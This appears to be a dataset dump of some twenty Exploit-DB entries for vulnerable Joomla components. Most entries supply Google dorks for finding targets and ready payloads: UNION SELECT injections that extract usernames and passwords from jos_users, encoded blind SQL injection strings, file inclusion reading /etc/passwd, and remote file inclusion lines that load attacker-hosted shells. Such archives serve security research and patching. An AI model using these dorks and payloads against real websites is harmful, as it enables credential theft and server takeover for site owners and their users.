deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41407
Description: Joomla! Component Eventix Events Calendar 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-21
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Eventix Events Calendar v1.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_eventix
# Date: 21.02.2017
# Vendor Homepage: http://informafix.fr/
# Software Buy: https://extensions.joomla.org/extensions/extension/calendars-a-events/events/eventix-events-calendar/
# Demo: http://demo.informafix.fr/index.php?option=com_eventix
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_eventix&view=eventsday&selected_date=2017-02-16&day=[SQL]
# http://localhost/[PATH]/index.php?option=com_eventix&view=eventsday&selected_date=[SQL]
# http://localhost/[PATH]/index.php?option=com_eventix&view=eventssearch&=[SQL]
# # # # #
Exploit-DB #4309
Description: Joomla! Component EventList 0.8 - 'did' SQL Injection
Type: webapps
Platform: php
Date: 2007-08-23
Author: ajann

Exploit:
*******************************************************************************
# Title   :  Joomla Component EventList <= 0.8 (did) Remote Blind SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.schlu.net/
# $$      :  Free
# Dork    :  intext:"Event List 0.8 Alpha by schlu.net "
# DorkEx  :  http://www.google.com.tr/search?q=intext:%22Event+List+0.8+Alpha+by+schlu.net+%22&hl=tr&start=0&sa=N

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//index.php?option=com_eventlist&func=details&did=[SQL Inject]

Example:

//index.php?option=com_eventlist&func=details&did=[PII_REDACTED]999%20union%20select%200,0,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),4,5,6,7,8,9,00,0,444,555,0,777,0,999,0,0,0,0,0,0,0%20from%20jos_users/*

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-08-23]
Exploit-DB #5893
Description: Joomla! Component EXP Shop - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-22
Author: His0k4

Exploit:
/---------------------------------------------------------------\
\                                				/
/         Joomla Component expshop Remote SQL injection         \
\                                				/
\---------------------------------------------------------------/


[*] Author    :  His0k4 [ALGERIAN HaCkEr]

[*] Dork      :  inurl:com_expshop

[*] POC        : http://localhost/[Joomla_Path]/index.php?option=com_expshop&page=show_payment&catid={SQL}

[*] Example    : http://localhost/[Joomla_Path]/index.php?option=com_expshop&page=show_payment&catid=-2 UNION SELECT @@version,@@version,concat(username,0x3a,password) FROM jos_users--

                
----------------------------------------------------------------------------
[*] Greetings :  All friends & muslims HaCkeRs...
[*] Greetings2:  http://palcastle.org/cc

# milw0rm.com [2008-06-22]
Exploit-DB #31947
Description: Joomla! Component EXP Shop 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-06-22
Author: His0k4

Exploit:
source: https://www.securityfocus.com/bid/29869/info

The EXP Shop component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

EXP Shop 1.0 is vulnerable; previous versions may also be affected. 

http://www.example.com/index.php?option=com_expshop&page=show_payment&catid=-2 UNION SELECT @@version,@@version,concat(username,0x3a,password) FROM jos_users--
Exploit-DB #41663
Description: Joomla! Component Extra Search 2.2.8 - 'establename' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-21
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component Extra Search v2.2.8 - SQL Injection
# Google Dork: N/A
# Date: 21.03.2017
# Vendor Homepage: http://www.joomlaboat.com/
# Software: http://www.joomlaboat.com/extra-search
# Demo: http://www.joomlaboat.com/
# Version: 2.2.8
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_extrasearch&view=details&listing_id=1&establename=[SQL]
# http://localhost/[PATH]/index.php?option=com_extrasearch&controller=createusers&establename=[SQL]
# # # # #
Exploit-DB #33641
Description: Joomla! Component F!BB 1.5.96 RC - SQL Injection / HTML Injection
Type: webapps
Platform: php
Date: 2009-09-17
Author: Jeff Channell

Exploit:
source: https://www.securityfocus.com/bid/38220/info

The Joomla! F!BB component is prone to an SQL-injection vulnerability and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage the HTML-injection issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.

The attacker may exploit the SQL-injection issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

F!BB 1.96 is vulnerable; other versions may also be affected. 

The following proof-of-concept URI and data are available:

http://www.example.com/index.php?option=com_fbb&func=advsearch&q=&exactname=1&childforums=1&limitstart=0&searchuser=%' AND SUBSTRING(@@version,1,1)=5 --
Exploit-DB #14707
Description: Joomla! Component Fabrik - SQL Injection
Type: webapps
Platform: php
Date: 2010-08-21
Author: Mkr0x

Exploit:
$##################################################################$
# +==============================================================+ 
# | Joomla Component (com_Fabrik) SQL Injection Vulnerability  | 
# +==============================================================+ 
# Vendor : http://fabrikar.com/
# Author : Mkr0x                                            
# Home : www.kernel.ge
# E-mail : mkrcard@gmail.com
# Place : Georgia
$##################################################################$
# Dork : 
 index.php?option=com_fabrik
--
# Vulnerable : 
 http://[target]/index.php?option=com_fabrik&view=table&tableid=[SQL]
--
# Exploit : 
 http://[target]/index.php?option=com_fabrik&view=table&tableid=13+union+select+1--
--

 Best Regards 
  -Mkr0x-

# „Georgia has always been at the foreground“ .. 
$##################################################################$
Exploit-DB #12087
Description: Joomla! Component Fabrik 2.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-06
Author: AntiSecurity

Exploit:
============================================================================================================


  [o] Joomla Component Fabrik Local File Inclusion Vulnerability
 
       Software : com_fabrik version 2.0
       Vendor   : http://fabrikar.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/


============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_fabrik&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_fabrik&controller=../../../../../../../../../../etc/passwd%00


============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


============================================================================================================


  [o] April 06 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #10737
Description: Joomla! Component FacileForms - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-27
Author: Pyske

Exploit:
< ------------------- header data start ------------------- >

###########################################################################
Joomla Component com_facileforms Cross Site Scripting Vulnerabilities
###########################################################################

# Author : Pyske


# Greetz : Fl0riX , M-K-A , F0RTS3V3N , 3KB3R ,BARCOD3 and ALL Cyber-Warrior


# Name : com_facileforms


# Bug Type : Cross Site Scripting


# Infection : Yönetici ve User cookiekleri calinabilir.


# Bug Fix Advice : Zararl&#305; karakterler filtrelenmelidir.


# Demo Vuln. : http://server/index.php?option=com_facileforms&Itemid=[XSS CODE]

#############################################################

< ------------------- header data end of ------------------- >


< -- bug code start -- >


">


< -- bug code end of -- >
Exploit-DB #5915
Description: Joomla! Component FacileForms 1.4.4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-06-23
Author: Kacak

Exploit:
Title: Joomla Component Com_Facileforms

================================================================

[+] Author : Dr.Kacak
[+] Special Thankz : KnocKout and all my friends
[+] System 0VerfL0verZ

=================================================================

Script : Joomla

Google Dork : index.php?option=com_facileforms

Error Code : facileforms.frame.php?ff_compath=

Bug Fix Advice : Undefined deÄŸerler, tanÄ±mlanmalÄ±dÄ±r.

###############################################################

< -- bug code start -- >

www.site.com/path/components/com_facileforms/facileforms.frame.php?ff_compath=[SH3LL]

/path/components/com_facileforms/facileforms.frame.php?ff_compath=[SH3LL]

< -- bug code end of -- >

# milw0rm.com [2008-06-23]
Exploit-DB #7777
Description: Joomla! Component Fantasytournament - SQL Injection
Type: webapps
Platform: php
Date: 2009-01-14
Author: H!tm@N

Exploit:
#############################################################################
#							                    #
# Joomla Component Fantasytournament Multiple SQL Injection Vulnerabilities #
#							                    #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: khghitman[at]gmail[dot]com
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, urtan, war_ning, chs, redc00de - [-=Kosova Hackers Group=-]

########################################

[~] ScriptName:     "Joomla"
[~] Component:      "Fantasytournament (com_fantasytournament)"
[~] Version:        "2009.1.5" 
[~] Date:           "01/01/2009"
[~] Author:         "Adrian Gray"
[~] Author E-mail:  "a.gray@javalamp.co.uk"
[~] Author URL:     "www.graymoose.com"
[~] Component info: "http://extensions.joomla.org/extensions/sports-&-games/sports/1604/details"

########################################

[~] Exploit 1: /index.php?option=com_fantasytournament&func=teamsByRound&Itemid=79&roundID=[SQL]
[~] Example 1: /index.php?option=com_fantasytournament&func=teamsByRound&Itemid=79&roundID=-1+union+select+1,concat(username,char(58),password)KHG,3,4,5,6+from+jos_users--

########################################

[~] Exploit 2: /index.php?option=com_fantasytournament&Itemid=&func=managersByManager&managerID=63&managerTeamName=pacman&roundID=[SQL]
[~] Example 2: /index.php?option=com_fantasytournament&Itemid=&func=managersByManager&managerID=63&managerTeamName=pacman&roundID=-1+union+select+1,concat(username,char(58),password)KHG,3+from+jos_users--

########################################

[~] Exploit 3: /index.php?option=com_fantasytournament&Itemid=&func=managersByManager&managerID=[SQL]
[~] Example 3: /index.php?option=com_fantasytournament&Itemid=&func=managersByManager&managerID=-63+union+select+concat(username,char(58),password)KHG,2,3+from+jos_users--

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] United States of Albania

########################################

# milw0rm.com [2009-01-14]
Exploit-DB #44109
Description: Joomla! Component Fastball 2.5 - 'season' SQL Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: Ihsan Sencan

Exploit:
# # # #
# Exploit Title: Joomla! Component Fastball 2.5 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: http://www.fastballproductions.com/
# Software Link: http://www.fastballproductions.com/
# Version: 2.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6373
# # # #
# Exploit Author: Ihsan Sencan 
# # # # 
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_fastball&view=player&season=[SQL]
#  
# JTMyJTI5JTIwJTQxJTRlJTQ0JTIwJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTMxJTM0JTMxJTM3JTIwJTQ2JTUyJTRmJTRkJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTQzJTRmJTU1JTRlJTU0JTI4JTJhJTI5JTJjJTQzJTRmJTRlJTQzJTQxJTU0JTI4JTY0JTYxJTc0JTYxJTYyJTYxJTczJTY1JTI4JTI5JTJjJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTI4JTQ1JTRjJTU0JTI4JTMxJTM0JTMxJTM3JTNkJTMxJTM0JTMxJTM3JTJjJTMxJTI5JTI5JTI5JTJjJTc2JTY1JTcyJTczJTY5JTZmJTZlJTI4JTI5JTJjJTQ2JTRjJTRmJTRmJTUyJTI4JTUyJTQxJTRlJTQ0JTI4JTMwJTI5JTJhJTMyJTI5JTI5JTc4JTIwJTQ2JTUyJTRmJTRkJTIwJTQ5JTRlJTQ2JTRmJTUyJTRkJTQxJTU0JTQ5JTRmJTRlJTVmJTUzJTQzJTQ4JTQ1JTRkJTQxJTJlJTUwJTRjJTU1JTQ3JTQ5JTRlJTUzJTIwJTQ3JTUyJTRmJTU1JTUwJTIwJTQyJTU5JTIwJTc4JTI5JTYxJTI5JTJkJTJkJTIwJTY3JTc0JTZhJTcz
# 
# # # #

inurl:index.php?option=com_fastball season
Exploit-DB #12595
Description: Joomla! Component FDione Form Wizard 1.0.2 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-05-13
Author: Chip d3 bi0s

Exploit:
-----------------------------------------------------------------------------------------
Joomla Component FDione Form Wizard lfi vulnerability
-----------------------------------------------------------------------------------------

Author		: Chip D3 Bi0s
Email		: chipdebios[alt+64]gmail.com
Date		: 2010-05-13
Impact		: Exposure of sensitive information
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   	: Dione Form Wizard
version       	: 1.0.2
Developer     	: Dione Soft Company
License       	: GPL            type  : Commercial
price		: $20
Date Added    	: 9 may 2010
Download      	: http://dionesoft.com/products/dione_form_wizard/product.html

Description   	:

Dione Form Wizard is Joomla! component allows website administrator to create web forms easily through simple drag-and-drop editor.

This product gives you the power to create forms that run inside Joomla without requiring knowledge of HTML, MySQL and PHP.

The main idea of the Dione Form Wizard is to give a tool that is enabling you to create a dynamic forms in minutes within your Joomla! CMS.
---------------------------------------------------------------------------

Poc/Exploit:
~~~~~~~~~

http://127.0.0.1/[path]/index.php?option=com_dioneformwizard&controller=[LFI]%00



+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++
Exploit-DB #7040
Description: Joomla! Component Feederator 1.0.5 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-11-07
Author: NoGe

Exploit:
===================================================================================================================================================


  [o] Feederator - RSS manager Component 1.0.5 Multiple Remote File Inclusion Vulnerabilities

       Software : com_feederator version 1.0.5
       Vendor   : http://www.recly.com/
       Download : http://www.recly.com/index.php?option=com_recly&task=product_page&id=2
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


===================================================================================================================================================


  [o] Vulnerable file

       administrator/components/com_feederator/includes/tmsp/add_tmsp.php

        require_once( $mosConfig_absolute_path . '/components/Recly/Recly_TMSP/Recly_TMSP.class.php' );

       administrator/components/com_feederator/includes/tmsp/edit_tmsp.php

        require_once( $mosConfig_absolute_path . '/components/Recly/Recly_TMSP/Recly_TMSP.class.php' );

       administrator/components/com_feederator/includes/tmsp/subscription.php

        require_once($GLOBALS['mosConfig_absolute_path'] . '/components/Recly/common/GlobalVariables.class.php');

       administrator/components/com_feederator/includes/tmsp/tmsp.php

        require_once( $mosConfig_absolute_path . '/components/Recly/Recly_HTML/Recly_Paginator.class.php' );



  [o] Exploit

       http://localhost/[path]/administrator/components/com_feederator/includes/tmsp/add_tmsp.php?mosConfig_absolute_path=[evilcode]
       http://localhost/[path]/administrator/components/com_feederator/includes/tmsp/edit_tmsp.php?mosConfig_absolute_path=[evilcode]
       http://localhost/[path]/administrator/components/com_feederator/includes/tmsp/subscription.php?GLOBALS[mosConfig_absolute_path]=[evilcode]
       http://localhost/[path]/administrator/components/com_feederator/includes/tmsp/tmsp.php?mosConfig_absolute_path=[evilcode]


===================================================================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/blog/]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11  martfella
       skulmatic olibekas ulga Cungkee k1tk4t str0ke

        
===================================================================================================================================================

# milw0rm.com [2008-11-07]
Exploit-DB #44110
Description: Joomla! Component File Download Tracker 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: Ihsan Sencan

Exploit:
# # # #
# Exploit Title: Joomla! Component File Download Tracker 3.0 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: http://techsolsystem.com/
# Software Link: https://extensions.joomla.org/extensions/extension/directory-a-documentation/downloads/file-download-tracker/
# Version: 3.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6004
# # # #
# Exploit Author: Ihsan Sencan 
# # # # 
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/index.php?dynfield[phone]=[SQL]&option=com_dtracker&task=save
#  
# JTI1JTI3JTIwJTQxJTRlJTQ0JTIwJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTM0JTMzJTMyJTMzJTIwJTQ2JTUyJTRmJTRkJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTQzJTRmJTU1JTRlJTU0JTI4JTJhJTI5JTJjJTQzJTRmJTRlJTQzJTQxJTU0JTI4JTc2JTY1JTcyJTczJTY5JTZmJTZlJTI4JTI5JTJjJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTI4JTQ1JTRjJTU0JTI4JTM0JTMzJTMyJTMzJTNkJTM0JTMzJTMyJTMzJTJjJTMxJTI5JTI5JTI5JTJjJTY0JTYxJTc0JTYxJTYyJTYxJTczJTY1JTI4JTI5JTJjJTQ2JTRjJTRmJTRmJTUyJTI4JTUyJTQxJTRlJTQ0JTI4JTMwJTI5JTJhJTMyJTI5JTI5JTc4JTIwJTQ2JTUyJTRmJTRkJTIwJTQ5JTRlJTQ2JTRmJTUyJTRkJTQxJTU0JTQ5JTRmJTRlJTVmJTUzJTQzJTQ4JTQ1JTRkJTQxJTJlJTUwJTRjJTU1JTQ3JTQ5JTRlJTUzJTIwJTQ3JTUyJTRmJTU1JTUwJTIwJTQyJTU5JTIwJTc4JTI5JTYxJTI5JTIwJTQxJTRlJTQ0JTI3JTI1JTI3JTNkJTI3
#  
# 2)
# http://localhost/[PATH]/index.php?option=com_dtracker&layout=download&sess=[SQL]
#  
# JTMxJTI3JTIwJTYxJTZlJTY0JTI4JTczJTY1JTZjJTY1JTYzJTc0JTIwJTMxJTIwJTQ2JTUyJTRmJTRkJTI4JTczJTY1JTZjJTY1JTYzJTc0JTIwJTYzJTZmJTc1JTZlJTc0JTI4JTJhJTI5JTJjJTYzJTZmJTZlJTYzJTYxJTc0JTI4JTI4JTczJTY1JTZjJTY1JTYzJTc0JTIwJTI4JTczJTY1JTZjJTY1JTYzJTc0JTIwJTYzJTZmJTZlJTYzJTYxJTc0JTI4JTY0JTYxJTc0JTYxJTYyJTYxJTczJTY1JTI4JTI5JTJjJTMwJTc4JTMyJTM3JTJjJTMwJTc4JTM3JTY1JTI5JTI5JTIwJTQ2JTUyJTRmJTRkJTIwJTY5JTZlJTY2JTZmJTcyJTZkJTYxJTc0JTY5JTZmJTZlJTVmJTczJTYzJTY4JTY1JTZkJTYxJTJlJTc0JTYxJTYyJTZjJTY1JTczJTIwJTRjJTQ5JTRkJTQ5JTU0JTIwJTMwJTJjJTMxJTI5JTJjJTY2JTZjJTZmJTZmJTcyJTI4JTcyJTYxJTZlJTY0JTI4JTMwJTI5JTJhJTMyJTI5JTI5JTc4JTIwJTQ2JTUyJTRmJTRkJTIwJTY5JTZlJTY2JTZmJTcyJTZkJTYxJTc0JTY5JTZmJTZlJTVmJTczJTYzJTY4JTY1JTZkJTYxJTJlJTc0JTYxJTYyJTZjJTY1JTczJTIwJTQ3JTUyJTRmJTU1JTUwJTIwJTQyJTU5JTIwJTc4JTI5JTYxJTI5JTJkJTJkJTIwJTJk
#  
# # # #
Exploit-DB #5488
Description: Joomla! Component Filiale 1.0.4 - 'idFiliale' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-23
Author: str0xo

Exploit:
             ########################################################################
             #                                                                      #
             #       [ Joomla Component Filiale SQL Injection ]                     #
             #                                                                      #
             ########################################################################


     [  M a f i a  C R E W  ]
##########################################
[~] Vulnerability found by: Str0xo [ Mafia Crew ]
[~] Contact: x02[at]hotmail.de
[~] Website: http://www.dz-h4ck3rz.com

[~] special tnx to: co2 
[~] Greetings: [ lina-no promises ] & [ HIs0k4 ]

##########################################
[~] ScriptName : 'Joomla'
[~] ModuleName : 'Filiale'
[~]  Version() :  1.0.4
###########################################
[~]

[~] DORK 1 :  inurl:com_filiale
[~]
###########################################

[~]

[~] [+]Demo : http://www.xxx.be/index.php?option=com_filiale

[~]
[~] [+]Exploit : /index.php?option=com_filiale&idFiliale=-5+union+select+1,password,3,4,username,6,7,8,9,10,11+from+jos_users

[~]

###########################################

# milw0rm.com [2008-04-23]
Exploit-DB #4415
Description: Joomla! Component flash fun! 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-15
Author: Morgan

Exploit:
######################################
# Joomla Flash Fun! Component RFI    #
######################################

Bug in :
/administrator/components/com_joomlaflashfun/admin.joomlaflashfun.php?mosConfig_live_site=
Variable : $mosConfig_live_site

Dork: "com_joomlaflashfun"

Example:

http://xxx.net/2007/administrator/components/com_joomlaflashfun/admin.joomlaflashfun.php?mosConfig_live_site=[attacker]


Greets to all Irc.RealWorm.Net #Morgan Users ;)

# milw0rm.com [2007-09-15]
Exploit-DB #4496
Description: Joomla! Component Flash Image Gallery - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-07
Author: Mehmet Ince

Exploit:
============================================
=                                          =
=             XORON  (c) 2007              =
=                                          =
============================================
=                                          =
=Joomla com_wmtgallery Remote File Include  
=                                          =
============================================
=
= Download:
=
= http://www.webmaster-tips.net
=
============================================
=
= Exploit:
= /administrator/components/com_wmtgallery/admin.wmtgallery.php?mosConfig_live_site=shell?
=
============================================
=                                          =
=Tum islam aleminin ramazan bayrami mubarek olsn =
=                                          =
============================================ 

# milw0rm.com [2007-10-07]